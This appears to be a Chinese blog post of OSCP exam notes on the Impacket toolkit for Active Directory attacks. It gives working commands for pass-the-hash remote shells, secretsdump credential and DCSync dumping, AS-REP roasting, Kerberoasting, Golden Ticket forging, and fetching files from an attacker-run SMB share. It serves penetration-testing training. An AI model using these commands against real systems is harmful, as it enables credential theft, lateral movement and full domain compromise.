踩坑|oscp考试中域渗透和横向工具impacket-scripts脚本使用方法"

admin 2026-10-16 12:42:39 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

踩坑|oscp考试中域渗透和横向工具impacket-scripts脚本使用方法

原创

小白哥
小白哥

小白安全成长记

2026年10月15日 15:31
河北

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

书到用时方恨少,既然踩坑了,还是有必要记录一下,高手略过,有考过的铁子也可以一起来交流交流,学习学习铁子们的方法,主要是域渗透和横向工具impacket的使用。

Impacket 是 OSCP(尤其是 AD 部分和横向移动)中最核心的工具集之一。Kali 上通常以 impacket- 前缀安装(如 impacket-secretsdump、impacket-psexec),也可直接用 python3 /usr/share/doc/python3-impacket/examples/xxx.py。

常用参数格式

几乎所有脚本的目标格式统一为:

[[domain/]username[:password]@]<targetName or address>

常用参数(多数脚本通用):

  • -hashes LMHASH:NTHASH 或 -hashes :NTHASH(Pass-the-Hash,最常用)
  • -k -no-pass(使用 Kerberos ticket,需先 export KRB5CCNAME=ticket.ccache)
  • -dc-ip <DC_IP>(指定域控 IP,强烈推荐,尤其 Kerberos 相关)
  • -target-ip <IP>(当主机名解析有问题时)
  • -debug(调试用)

特别要注意:

  • 密码含特殊字符时用单引号包起来,或省略密码让它交互输入。
  • 时钟偏差(Clock skew)常见错误:先同步时间 sudo ntpdate <DC_IP> 或 sudo chronyd -q。(吃亏+1)
  • Kali 上优先用带 impacket- 前缀的命令。

1. 远程执行类(横向移动核心)

这些工具都需要目标上的本地管理员权限。一个失败就换另一个。

脚本 特点 推荐场景
psexec.py 上传二进制 + 创建服务,真正交互式 SYSTEM shell 需要完整交互 shell
smbexec.py 通过服务执行,不落地二进制(相对干净) psexec 失败时首选替代
wmiexec.py 通过 WMI/DCOM,半交互,日志相对少 优先尝试(较静默)
atexec.py 通过计划任务 其他失败时备用
dcomexec.py 通过 DCOM 对象 备用

常用命令示例:

# 密码认证
impacket-psexec domain/user:[email protected]
impacket-wmiexec domain/user:[email protected]
impacket-smbexec domain/user:[email protected]

# Pass-the-Hash
impacket-psexec domain/[email protected] -hashes :aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
impacket-wmiexec domain/[email protected] -hashes :NTHASH

# Kerberos
export KRB5CCNAME=admin.ccache
impacket-psexec domain/user@target -k -no-pass -dc-ip 10.10.10.10

# 执行单条命令
impacket-wmiexec domain/user:[email protected] \"whoami /all\"

考试时候的建议:先试 wmiexec → smbexec → psexec。psexec 有时会因服务残留导致后续失败。

2. 凭证转储(secretsdump.py)——最重要

# 本地管理员权限转储 SAM + LSA
impacket-secretsdump domain/user:[email protected]
impacket-secretsdump domain/[email protected] -hashes :NTHASH

# 域控 DCSync(需要 Replicating Directory Changes 权限 或 DA)
impacket-secretsdump domain/da:pass@dc_ip -just-dc
impacket-secretsdump domain/da:pass@dc_ip -just-dc-ntlm          # 只要 NTLM
impacket-secretsdump domain/da:pass@dc_ip -just-dc-user krbtgt   # 只拿 krbtgt(Golden Ticket)
impacket-secretsdump domain/da:pass@dc_ip -just-dc-user Administrator

# 离线解析(已拿到 SAM + SYSTEM hive)
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

输出包含:

  • SAM(本地账号)
  • LSA Secrets
  • Cached Domain Logon
  • NTDS(域控时)

破解相关:

  • NTLM → hashcat -m 1000
  • AS-REP → hashcat -m 18200
  • Kerberoast → hashcat -m 13100(RC4)

3. Kerberos 攻击(AD 必考)

AS-REP Roasting(GetNPUsers.py)

无需凭据,找“不要求 Kerberos 预认证”的账号。

# 用户列表(最常用)
impacket-GetNPUsers domain/ -usersfile users.txt -dc-ip 10.10.10.10 -no-pass -format hashcat -outputfile asrep.txt

# 有凭据时自动枚举
impacket-GetNPUsers domain/user:pass -dc-ip 10.10.10.10 -request -format hashcat -outputfile asrep.txt

Kerberoasting(GetUserSPNs.py)

任意域用户权限即可。

# 枚举 + 请求 TGS
impacket-GetUserSPNs domain/user:pass -dc-ip 10.10.10.10 -request -outputfile kerberoast.txt

# Pass-the-Hash
impacket-GetUserSPNs domain/user -hashes :NTHASH -dc-ip 10.10.10.10 -request

4. 文件传输 / SMB 操作

# 交互式 SMB 客户端
impacket-smbclient domain/user:[email protected]
# 内部命令:shares → use C$ → ls → get/put → exit

# 在攻击机起 SMB 服务器(文件传输神器)
impacket-smbserver share /path/to/folder -smb2support
# 目标机执行:copy \\\\attacker_ip\\share\\file.exe C:\\temp\\

5. 其他高频实用脚本

  • mssqlclient.py:连接 MSSQL

impacket-mssqlclient domain/user:pass@sql_ip -windows-auth # 开启 xp_cmdshell 后执行命令
* lookupsid.py:SID 暴力枚举用户

impacket-lookupsid domain/user:pass@target
* getTGT.py:获取 TGT

impacket-getTGT domain/user:pass -dc-ip dc_ip export KRB5CCNAME=user.ccache
* ticketer.py:伪造 Golden/Silver Ticket(拿到 krbtgt 后)

impacket-ticketer.py -nthash <krbtgt_ntlm> -domain-sid S-1-5-21-... -domain domain.local Administrator

实战使用顺序建议

  1. 无凭据阶段:GetNPUsers(AS-REP)→ 爆破用户名 → Kerberoast(有低权限账号后)
  2. 有低权限账号:GetUserSPNs + smbclient 枚举共享
  3. 获得本地管理员 / 高权限:secretsdump → psexec/wmiexec/smbexec 横向
  4. 拿到 DA 或 DCSync 权限:secretsdump -just-dc → 全域哈希
  5. 文件传输:优先用 smbserver + copy,或 smbclient 的 get/put

常见问题与排查

  • STATUS\_LOGON\_FAILURE:凭据错误 / 哈希格式问题 / 域前缀错误
  • Clock skew too great:同步时间
  • Access Denied:权限不足或目标加固(尝试换执行方式)
  • SMB 连接失败:检查防火墙、SMB signing、端口 445
  • 服务残留导致 psexec 失败:用其他执行工具或手动清理

一些参考来源

  • 官方仓库:https://github.com/fortra/impacket
  • Kali 自带,直接 impacket-<tab> 即可查看所有脚本
  • OSCP 中 secretsdump + psexec/wmiexec + GetNPUsers/GetUserSPNs ,务必熟练到不用查笔记的程度
  • 考试时优先用 -hashes 和 -dc-ip,减少变量,一定要多看看考试指南,哪些能做哪些不能做,考试途中去厕所回来要和考官说啊。。。。。。。

- END -

踩坑|oscp考试中域渗透和横向工具impacket-scripts脚本使用方法" 网络安全文章

踩坑|oscp考试中域渗透和横向工具impacket-scripts脚本使用方法"

本文为OSCP考试实战经验分享,系统讲解impacket工具集在域渗透与横向移动中的核心用法。涵盖远程执行类工具(psexec、wmiexec等)的选择顺序、secretsdump凭证转储、Kerberos攻击(AS-REPRoasting与Kerberoasting)、SMB文件传输及常见问题排查。建议优先掌握secretsdump与远程执行工具,并善用-hashes与-dc-ip参数。
评论:0   参与:  0